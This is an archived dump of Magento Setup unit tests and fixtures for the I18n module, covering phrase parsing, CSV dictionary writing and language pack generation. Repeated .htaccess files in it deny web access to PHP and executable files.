''], ['phrase' => 'Phrase 1', 'file' => $default, 'line' => '', 'quote' => ''], ['phrase' => 'Comment from new line.', 'file' => $default, 'line' => '', 'quote' => ''], ], ], [ 'file' => $defaultDi, 'expectedResult' => [ ['phrase' => 'Phrase 1', 'file' => $defaultDi, 'line' => '', 'quote' => ''], ], ], ]; } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/AbstractAdapterTest.php000077700000003605151323623130022303 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter; use Magento\Setup\Module\I18n\Parser\Adapter\AbstractAdapter; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AbstractAdapterTest extends TestCase { /** * @var AbstractAdapter|MockObject */ protected $_adapterMock; /** * @var AbstractAdapter */ protected $_adapterReflection; protected function setUp(): void { $this->_adapterMock = $this->getMockForAbstractClass( AbstractAdapter::class, [], '', false, true, true, ['_parse'] ); $this->_adapterReflection = new \ReflectionMethod( AbstractAdapter::class, '_addPhrase' ); $this->_adapterReflection->setAccessible(true); } public function testParse() { $this->_adapterMock->expects($this->once())->method('_parse'); $this->_adapterMock->parse('file1'); } public function getPhrases() { $this->assertIsArray($this->_adapterMock->getPhrases()); } public function testAddPhrase() { $phrase = 'test phrase'; $line = 2; $expected = [ [ 'phrase' => $phrase, 'file' => null, 'line' => $line, 'quote' => '' ] ]; $this->_adapterReflection->invoke($this->_adapterMock, $phrase, $line); $actual = $this->_adapterMock->getPhrases(); $this->assertEquals($expected, $actual); $this->_adapterReflection->invoke($this->_adapterMock, '', ''); $actual = $this->_adapterMock->getPhrases(); $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/JsTest.php000077700000002777151323623130017624 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Parser\Adapter\Js; use PHPUnit\Framework\TestCase; class JsTest extends TestCase { /** * @var string */ protected $_testFile; /** * @var int */ protected $_stringsCount; /** * @var Js */ protected $_adapter; protected function setUp(): void { $this->_testFile = str_replace('\\', '/', realpath(dirname(__FILE__))) . '/_files/file.js'; $this->_stringsCount = count(file($this->_testFile)); $this->_adapter = (new ObjectManager($this))->getObject(Js::class); } public function testParse() { $expectedResult = [ [ 'phrase' => 'Phrase 1', 'file' => $this->_testFile, 'line' => $this->_stringsCount - 2, 'quote' => Phrase::QUOTE_SINGLE, ], [ 'phrase' => 'Phrase 2 %1', 'file' => $this->_testFile, 'line' => $this->_stringsCount - 1, 'quote' => Phrase::QUOTE_DOUBLE ], ]; $this->_adapter->parse($this->_testFile); $this->assertEquals($expectedResult, $this->_adapter->getPhrases()); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/_files/default.xml000077700000001050151323623130021265 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <layout> <node1 translate="description, label"> <description>Phrase 1</description> <label>Phrase 2</label> <title translate="true">Phrase 3</title> </node1> <node2> <title translate="true">Phrase 1</title> </node2> <node3 translate="comment"> <comment> <![CDATA[Comment from new line.]]> </comment> </node3> </layout> Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/_files/file.js000077700000000312151323623130020374 0ustar00/** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ (function() { $.mage.__('Phrase 1'); $.mage.__('Phrase 1'); $.mage.__("Phrase 2 %1"); }); Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/_files/email.html000077700000002551151323623130021103 0ustar00<!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title></title> </head> <body> <p>{{trans 'Phrase 1'}}</p> <span> {{trans "Phrase 2 with %a_lot of extra info for the brilliant %customer_name." %a_lot="$order.foo" %customer_name=$customer_name }} </span> <label data-bind="i18n: 'This is test data', attr: {for: 'more-test-data-'}"></label> <label data-bind="attr: {for: 'more-test-data-' + $parent.getCode()}"><span data-bind="i18n: 'This is test data at right side of attr'"></span></label> <label data-bind="i18n: 'This is \' test \' data', attr: {for: 'more-test-data-' + $parent.getCode()}"></label> <label data-bind="i18n: 'This is \" test \" data', attr: {for: 'more-test-data-' + $parent.getCode()}"></label> <label data-bind="i18n: 'This is test data with a quote after''"></label> <label data-bind="i18n: 'This is test data with space after ' ' "></label> <label data-bind="i18n: ''"></label> <label data-bind="i18n: '\''"></label> <label data-bind="i18n: '\\\\ '"></label> <span><translate args="'This is test content in translate tag'" /></span> <span translate="'This is test content in translate attribute'"></span> </body> </html> Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/_files/default_di.xml000077700000000363151323623130021747 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config> <node> <title translatable="true">Phrase 1</title> </node> </config> Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/_files/.htaccess000077700000000177151323623130020726 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/.htaccess000077700000000177151323623130017465 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/PhpTest.php000077700000003141151323623130017761 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Parser\Adapter\Php; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector; use PHPUnit\Framework\TestCase; class PhpTest extends TestCase { /** * @var \PHPUnit\Framework\MockObject\MockObject| * \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector */ protected $_phraseCollectorMock; /** * @var Php */ protected $_adapter; protected function setUp(): void { $this->_phraseCollectorMock = $this->createMock(PhraseCollector::class); $objectManagerHelper = new ObjectManager($this); $this->_adapter = $objectManagerHelper->getObject( Php::class, ['phraseCollector' => $this->_phraseCollectorMock] ); } public function testParse() { $expectedResult = [['phrase' => 'phrase1', 'file' => 'file1', 'line' => 15, 'quote' => '']]; $this->_phraseCollectorMock->expects($this->once())->method('parse')->with('file1'); $this->_phraseCollectorMock->expects( $this->once() )->method( 'getPhrases' )->willReturn( [['phrase' => 'phrase1', 'file' => 'file1', 'line' => 15]] ); $this->_adapter->parse('file1'); $this->assertEquals($expectedResult, $this->_adapter->getPhrases()); } } Magento/Setup/Test/Unit/Module/I18n/Parser/.htaccess000077700000000177151323623130016105 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/AbstractParserTest.php000077700000003571151323623130020601 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser; use Magento\Setup\Module\I18n\Parser\AbstractParser; use Magento\Setup\Module\I18n\Parser\AdapterInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AbstractParserTest extends TestCase { /** * @var AbstractParser|MockObject */ protected $_parserMock; protected function setUp(): void { $this->_parserMock = $this->getMockForAbstractClass( AbstractParser::class, [], '', false ); } /** * @param array $options * @param string $message * @dataProvider dataProviderForValidateOptions */ public function testValidateOptions($options, $message) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage($message); $this->_parserMock->addAdapter( 'php', $this->getMockForAbstractClass(AdapterInterface::class) ); $this->_parserMock->parse($options); } /** * @return array */ public function dataProviderForValidateOptions() { return [ [[['paths' => []]], 'Missed "type" in parser options.'], [[['type' => '', 'paths' => []]], 'Missed "type" in parser options.'], [ [['type' => 'wrong_type', 'paths' => []]], 'Adapter is not set for type "wrong_type".' ], [[['type' => 'php']], '"paths" in parser options must be array.'], [[['type' => 'php', 'paths' => '']], '"paths" in parser options must be array.'] ]; } public function getPhrases() { $this->assertIsArray($this->_parserMock->getPhrases()); } } Magento/Setup/Test/Unit/Module/I18n/FilesCollectorTest.php000077700000002430151323623130017327 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\FilesCollector; use PHPUnit\Framework\TestCase; class FilesCollectorTest extends TestCase { /** * @var string */ protected $_testDir; /** * @var FilesCollector */ protected $_filesCollector; protected function setUp(): void { $this->_testDir = str_replace('\\', '/', realpath(dirname(__FILE__))) . '/_files/files_collector/'; $objectManagerHelper = new ObjectManager($this); $this->_filesCollector = $objectManagerHelper->getObject(FilesCollector::class); } public function testGetFilesWithoutMask() { $expectedResult = [$this->_testDir . 'default.xml', $this->_testDir . 'file.js']; $files = $this->_filesCollector->getFiles([$this->_testDir]); $this->assertEquals($expectedResult, $files); } public function testGetFilesWithMask() { $expectedResult = [$this->_testDir . 'file.js']; $this->assertEquals($expectedResult, $this->_filesCollector->getFiles([$this->_testDir], '/\.js$/')); } } Magento/Setup/Test/Unit/Module/I18n/LocaleTest.php000077700000001271151323623130015617 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n; use Magento\Setup\Module\I18n\Locale; use PHPUnit\Framework\TestCase; class LocaleTest extends TestCase { public function testWrongLocaleFormatException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Target locale must match the following format: "aa_AA".'); new Locale('wrong_locale'); } public function testToStringConvert() { $locale = new Locale('de_DE'); $this->assertEquals('de_DE', (string)$locale); } } Magento/Setup/Test/Unit/Module/I18n/Pack/Writer/File/CsvTest.php000077700000014312151323623130020164 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Pack\Writer\File; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager as ObjectManagerHelper; use Magento\Setup\Module\I18n\Context; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Dictionary\WriterInterface; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\Locale; use Magento\Setup\Module\I18n\Pack\Writer\File\Csv; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; require_once __DIR__ . '/_files/ioMock.php'; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class CsvTest extends TestCase { /** * @var Context|MockObject */ private $contextMock; /** * @var Locale|MockObject */ private $localeMock; /** * @var Dictionary|MockObject */ private $dictionaryMock; /** * @var Phrase|MockObject */ private $phraseMock; /** * @var Factory|MockObject */ private $factoryMock; /** * @var Csv|MockObject */ private $object; /** * @return void */ protected function setUp(): void { /** @var ObjectManagerHelper $objectManagerHelper */ $objectManagerHelper = new ObjectManagerHelper($this); $this->contextMock = $this->createMock(Context::class); $this->localeMock = $this->createMock(Locale::class); $this->dictionaryMock = $this->createMock(Dictionary::class); $this->phraseMock = $this->createMock(Phrase::class); $this->factoryMock = $this->createMock(Factory::class); $constructorArguments = $objectManagerHelper->getConstructArguments( Csv::class, [ 'context' => $this->contextMock, 'factory' => $this->factoryMock ] ); $this->object = $objectManagerHelper->getObject(Csv::class, $constructorArguments); } /** * @param string $contextType * @param array $contextValue * @dataProvider writeDictionaryWithRuntimeExceptionDataProvider * @return void */ public function testWriteDictionaryWithRuntimeException($contextType, $contextValue) { $this->expectException('RuntimeException'); $this->configureGeneralPhrasesMock($contextType, $contextValue); $this->object->writeDictionary($this->dictionaryMock, $this->localeMock); } /** * @return array */ public function writeDictionaryWithRuntimeExceptionDataProvider() { return [ ['', []], ['module', []], ['', ['Magento_Module']] ]; } /** * @return void */ public function testWriteDictionaryWithInvalidArgumentException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Some error. Row #1.'); $contextType = 'module'; $contextValue = 'Magento_Module'; $this->configureGeneralPhrasesMock($contextType, [$contextValue]); $this->contextMock->expects($this->once()) ->method('buildPathToLocaleDirectoryByContext') ->with($contextType, $contextValue) ->willThrowException(new \InvalidArgumentException('Some error.')); $this->object->writeDictionary($this->dictionaryMock, $this->localeMock); } /** * @return void */ public function testWriteDictionaryWherePathIsNull() { $contextType = 'module'; $contextValue = 'Magento_Module'; $this->configureGeneralPhrasesMock($contextType, [$contextValue]); $this->contextMock->expects($this->once()) ->method('buildPathToLocaleDirectoryByContext') ->with($contextType, $contextValue) ->willReturn(null); $this->phraseMock->expects($this->never()) ->method('setContextType'); $this->phraseMock->expects($this->never()) ->method('setContextValue'); $this->object->writeDictionary($this->dictionaryMock, $this->localeMock); } /** * @return void */ public function testWriteDictionary() { $contextType = 'module'; $contextValue = 'Magento_Module'; $path = '/some/path/'; $phrase = 'Phrase'; $locale = 'en_EN'; $file = $path . $locale . '.' . Csv::FILE_EXTENSION; $this->configureGeneralPhrasesMock($contextType, [$contextValue]); $this->phraseMock->expects($this->once()) ->method('getPhrase') ->willReturn($phrase); $this->phraseMock->expects($this->once()) ->method('setContextType') ->with(null); $this->phraseMock->expects($this->once()) ->method('setContextValue') ->with(null); $this->localeMock->expects($this->once()) ->method('__toString') ->willReturn($locale); $this->contextMock->expects($this->once()) ->method('buildPathToLocaleDirectoryByContext') ->with($contextType, $contextValue) ->willReturn($path); $writerMock = $this->getMockForAbstractClass(WriterInterface::class); $writerMock->expects($this->once()) ->method('write') ->with($this->phraseMock); $this->factoryMock->expects($this->once()) ->method('createDictionaryWriter') ->with($file) ->willReturn($writerMock); $this->object->writeDictionary($this->dictionaryMock, $this->localeMock); } /** * @param string $contextType * @param array $contextValue * @return void */ private function configureGeneralPhrasesMock($contextType, $contextValue) { $this->phraseMock->expects($this->any()) ->method('getContextType') ->willReturn($contextType); $this->phraseMock->expects($this->any()) ->method('getContextValue') ->willReturn($contextValue); $this->dictionaryMock->expects($this->once()) ->method('getPhrases') ->willReturn([$this->phraseMock]); } } Magento/Setup/Test/Unit/Module/I18n/Pack/Writer/File/_files/ioMock.php000077700000001501151323623130021247 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\I18n\Pack\Writer\File; /** * Mock is_dir function * * @see \Magento\Setup\Module\I18n\Pack\Writer\File\AbstractFile * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ function is_dir($path) { return false; } /** * Mock mkdir function * * @see \Magento\Setup\Module\I18n\Pack\Writer\File\AbstractFile * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ function mkdir($pathname, $mode = 0777, $recursive = false, $context = null) { return true; } /** * Mock chmod function * * @see \Magento\Setup\Module\I18n\Pack\Writer\File\AbstractFile * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ function chmod($filename, $mode) { return true; } Magento/Setup/Test/Unit/Module/I18n/Pack/Writer/File/_files/.htaccess000077700000000177151323623130021123 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Pack/Writer/File/.htaccess000077700000000177151323623130017662 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Pack/Writer/.htaccess000077700000000177151323623130017003 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Pack/GeneratorTest.php000077700000011776151323623130017237 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Pack; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Dictionary\Loader\FileInterface; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\Locale; use Magento\Setup\Module\I18n\Pack\Generator; use Magento\Setup\Module\I18n\Pack\WriterInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class GeneratorTest extends TestCase { /** * @var FileInterface|MockObject */ protected $dictionaryLoaderMock; /** * @var WriterInterface|MockObject */ protected $packWriterMock; /** * @var Factory|MockObject */ protected $factoryMock; /** * @var Dictionary|MockObject */ protected $dictionaryMock; /** * @var Generator */ protected $_generator; protected function setUp(): void { $this->dictionaryLoaderMock = $this->getMockForAbstractClass(FileInterface::class); $this->packWriterMock = $this->getMockForAbstractClass(WriterInterface::class); $this->factoryMock = $this->createMock(Factory::class); $this->dictionaryMock = $this->createMock(Dictionary::class); $objectManagerHelper = new ObjectManager($this); $this->_generator = $objectManagerHelper->getObject( Generator::class, [ 'dictionaryLoader' => $this->dictionaryLoaderMock, 'packWriter' => $this->packWriterMock, 'factory' => $this->factoryMock ] ); } public function testGenerate() { $dictionaryPath = 'dictionary_path'; $localeString = 'locale'; $mode = 'mode'; $allowDuplicates = true; $localeMock = $this->createMock(Locale::class); $phrases = [$this->createMock(Phrase::class)]; $this->dictionaryMock->expects($this->once()) ->method('getPhrases') ->willReturn([$phrases]); $this->factoryMock->expects($this->once()) ->method('createLocale') ->with($localeString) ->willReturn($localeMock); $this->dictionaryLoaderMock->expects($this->once()) ->method('load') ->with($dictionaryPath) ->willReturn($this->dictionaryMock); $this->packWriterMock->expects($this->once()) ->method('writeDictionary') ->with($this->dictionaryMock, $localeMock, $mode); $this->_generator->generate($dictionaryPath, $localeString, $mode, $allowDuplicates); } public function testGenerateEmptyFile() { $this->expectException('UnexpectedValueException'); $this->expectExceptionMessage('No phrases have been found by the specified path.'); $dictionaryPath = 'dictionary_path'; $localeString = 'locale'; $mode = 'mode'; $allowDuplicates = true; $localeMock = $this->createMock(Locale::class); $this->factoryMock->expects($this->once()) ->method('createLocale') ->with($localeString) ->willReturn($localeMock); $this->dictionaryLoaderMock->expects($this->once()) ->method('load') ->with($dictionaryPath) ->willReturn($this->dictionaryMock); $this->dictionaryMock->expects($this->once()) ->method('getPhrases') ->willReturn([]); $this->_generator->generate($dictionaryPath, $localeString, $mode, $allowDuplicates); } public function testGenerateWithNotAllowedDuplicatesAndDuplicatesExist() { $error = "Duplicated translation is found, but it is not allowed.\n" . "The phrase \"phrase1\" is translated in 1 places.\n" . "The phrase \"phrase2\" is translated in 1 places.\n"; $this->expectException('\RuntimeException'); $this->expectExceptionMessage($error); $allowDuplicates = false; $phraseFirstMock = $this->createMock(Phrase::class); $phraseFirstMock->expects($this->once())->method('getPhrase')->willReturn('phrase1'); $phraseSecondMock = $this->createMock(Phrase::class); $phraseSecondMock->expects($this->once())->method('getPhrase')->willReturn('phrase2'); $this->dictionaryLoaderMock->expects($this->any()) ->method('load') ->willReturn($this->dictionaryMock); $phrases = [$this->createMock(Phrase::class)]; $this->dictionaryMock->expects($this->once()) ->method('getPhrases') ->willReturn([$phrases]); $this->dictionaryMock->expects($this->once()) ->method('getDuplicates') ->willReturn([[$phraseFirstMock], [$phraseSecondMock]]); $this->_generator->generate('dictionary_path', 'locale', 'mode', $allowDuplicates); } } Magento/Setup/Test/Unit/Module/I18n/Pack/.htaccess000077700000000177151323623130015527 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/ContextTest.php000077700000012220151323623130016040 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n; use Magento\Framework\Component\ComponentRegistrar; use Magento\Setup\Module\I18n\Context; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ContextTest extends TestCase { /** * @var Context */ protected $context; /** * @var ComponentRegistrar|MockObject */ protected $componentRegistrar; protected function setUp(): void { $this->componentRegistrar = $this->createMock(ComponentRegistrar::class); } /** * @param array $context * @param string $path * @param array $pathValues * @dataProvider dataProviderContextByPath */ public function testGetContextByPath($context, $path, $pathValues) { $this->componentRegistrar->expects($this->any()) ->method('getPaths') ->willReturnMap($pathValues); $this->context = new Context($this->componentRegistrar); $this->assertEquals($context, $this->context->getContextByPath($path)); } /** * @return array */ public function dataProviderContextByPath() { return [ [ [Context::CONTEXT_TYPE_MODULE, 'Magento_Module'], '/app/code/Magento/Module/Block/Test.php', [ [Context::CONTEXT_TYPE_MODULE, ['Magento_Module' => '/app/code/Magento/Module']], [Context::CONTEXT_TYPE_THEME, []], ] ], [ [Context::CONTEXT_TYPE_THEME, 'frontend/Some/theme'], '/app/design/area/theme/test.phtml', [ [Context::CONTEXT_TYPE_MODULE, []], [Context::CONTEXT_TYPE_THEME, ['frontend/Some/theme' => '/app/design/area/theme']], ] ], [ [Context::CONTEXT_TYPE_LIB, 'lib/web/module/test.phtml'], '/lib/web/module/test.phtml', [ [Context::CONTEXT_TYPE_MODULE, []], [Context::CONTEXT_TYPE_THEME, []], ] ], ]; } public function testGetContextByPathWithInvalidPath() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Invalid path given: "invalid_path".'); $this->componentRegistrar->expects($this->any()) ->method('getPaths') ->willReturnMap([ [ComponentRegistrar::MODULE, ['/path/to/module']], [ComponentRegistrar::THEME, ['/path/to/theme']] ]); $this->context = new Context($this->componentRegistrar); $this->context->getContextByPath('invalid_path'); } /** * @param string $path * @param array $context * @param array $registrar * @dataProvider dataProviderPathToLocaleDirectoryByContext */ public function testBuildPathToLocaleDirectoryByContext($path, $context, $registrar) { $paths = []; foreach ($registrar as $module) { $paths[$module[1]] = $module[2]; } $this->componentRegistrar->expects($this->any()) ->method('getPath') ->willReturnMap($registrar); $this->context = new Context($this->componentRegistrar); $this->assertEquals($path, $this->context->buildPathToLocaleDirectoryByContext($context[0], $context[1])); } /** * @return array */ public function dataProviderPathToLocaleDirectoryByContext() { return [ [ BP . '/app/code/Magento/Module/i18n/', [Context::CONTEXT_TYPE_MODULE, 'Magento_Module'], [[ComponentRegistrar::MODULE, 'Magento_Module', BP . '/app/code/Magento/Module']] ], [ BP . '/app/design/frontend/Magento/luma/i18n/', [Context::CONTEXT_TYPE_THEME, 'frontend/Magento/luma'], [[ComponentRegistrar::THEME, 'frontend/Magento/luma', BP . '/app/design/frontend/Magento/luma']] ], [ null, [Context::CONTEXT_TYPE_MODULE, 'Unregistered_Module'], [[ComponentRegistrar::MODULE, 'Unregistered_Module', null]] ], [ null, [Context::CONTEXT_TYPE_THEME, 'frontend/Magento/unregistered'], [[ComponentRegistrar::THEME, 'frontend/Magento/unregistered', null]] ], [BP . '/lib/web/i18n/', [Context::CONTEXT_TYPE_LIB, 'lib/web/module/test.phtml'], []], ]; } public function testBuildPathToLocaleDirectoryByContextWithInvalidType() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Invalid context given: "invalid_type".'); $this->componentRegistrar->expects($this->never()) ->method('getPath'); $this->context = new Context($this->componentRegistrar); $this->context->buildPathToLocaleDirectoryByContext('invalid_type', 'Magento_Module'); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/CsvTest.php000077700000012062151323623130020534 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary\Writer; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Dictionary\Writer\Csv; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class CsvTest extends TestCase { /** * @var string */ protected $_testFile; /** * @var Phrase|MockObject */ protected $_phraseFirstMock; /** * @var Phrase|MockObject */ protected $_phraseSecondMock; protected function setUp(): void { $this->_testFile = str_replace('\\', '/', realpath(dirname(__FILE__))) . '/_files/test.csv'; $this->_phraseFirstMock = $this->createMock(Phrase::class); $this->_phraseSecondMock = $this->createMock(Phrase::class); } protected function tearDown(): void { if (file_exists($this->_testFile)) { unlink($this->_testFile); } } public function testWrongOutputFile() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Cannot open file for write dictionary: "wrong/path"'); $objectManagerHelper = new ObjectManager($this); $objectManagerHelper->getObject( Csv::class, ['outputFilename' => 'wrong/path'] ); } public function testWrite() { $this->_phraseFirstMock->expects( $this->once() )->method( 'getCompiledPhrase' )->willReturn( "phrase1_quote'" ); $this->_phraseFirstMock->expects( $this->once() )->method( 'getCompiledTranslation' )->willReturn( "translation1_quote'" ); $this->_phraseFirstMock->expects( $this->once() )->method( 'getContextType' )->willReturn( "context_type1_quote\\'" ); $this->_phraseFirstMock->expects( $this->once() )->method( 'getContextValueAsString' )->willReturn( "content_value1_quote\\'" ); $this->_phraseSecondMock->expects( $this->once() )->method( 'getCompiledPhrase' )->willReturn( "phrase2_quote'" ); $this->_phraseSecondMock->expects( $this->once() )->method( 'getCompiledTranslation' )->willReturn( "translation2_quote'" ); $this->_phraseSecondMock->expects( $this->once() )->method( 'getContextType' )->willReturn( "context_type2_quote\\'" ); $this->_phraseSecondMock->expects( $this->once() )->method( 'getContextValueAsString' )->willReturn( "content_value2_quote\\'" ); $objectManagerHelper = new ObjectManager($this); /** @var Csv $writer */ $writer = $objectManagerHelper->getObject( Csv::class, ['outputFilename' => $this->_testFile] ); $writer->write($this->_phraseFirstMock); $writer->write($this->_phraseSecondMock); $expected = <<<EXPECTED phrase1_quote',translation1_quote',"context_type1_quote\'","content_value1_quote\'" phrase2_quote',translation2_quote',"context_type2_quote\'","content_value2_quote\'" EXPECTED; $this->assertEquals($expected, file_get_contents($this->_testFile)); } public function testWriteWithoutContext() { $this->_phraseFirstMock->expects($this->once()) ->method('getCompiledPhrase') ->willReturn('phrase1'); $this->_phraseFirstMock->expects($this->once()) ->method('getCompiledTranslation') ->willReturn('translation1'); $this->_phraseFirstMock->expects($this->once())->method('getContextType')->willReturn(''); $this->_phraseSecondMock->expects($this->once()) ->method('getCompiledPhrase') ->willReturn('phrase2'); $this->_phraseSecondMock->expects($this->once()) ->method('getCompiledTranslation') ->willReturn('translation2'); $this->_phraseSecondMock->expects($this->once()) ->method('getContextType') ->willReturn('context_type2'); $this->_phraseSecondMock->expects($this->once()) ->method('getContextValueAsString') ->willReturn(''); $objectManagerHelper = new ObjectManager($this); /** @var Csv $writer */ $writer = $objectManagerHelper->getObject( Csv::class, ['outputFilename' => $this->_testFile] ); $writer->write($this->_phraseFirstMock); $writer->write($this->_phraseSecondMock); $expected = "phrase1,translation1\nphrase2,translation2\n"; $this->assertEquals($expected, file_get_contents($this->_testFile)); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/_files/.gitignore000077700000000001151323623130021647 0ustar00 Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/_files/.htaccess000077700000000177151323623130021473 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/Csv/StdoTest.php000077700000001123151323623130021441 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Dictionary\Writer\Csv; use Magento\Setup\Module\I18n\Dictionary\Writer\Csv\Stdo; use PHPUnit\Framework\TestCase; class StdoTest extends TestCase { public function testThatHandlerIsRight() { $this->markTestSkipped('Skipped in #27500 due to testing protected/private methods and properties'); $writer = new Stdo(); $this->assertAttributeEquals(STDOUT, '_fileHandler', $writer); } } Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/Csv/.htaccess000077700000000177151323623130020765 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Writer/.htaccess000077700000000177151323623130020232 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Dictionary/Loader/File/AbstractFileTest.php000077700000011052151323623130023153 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. 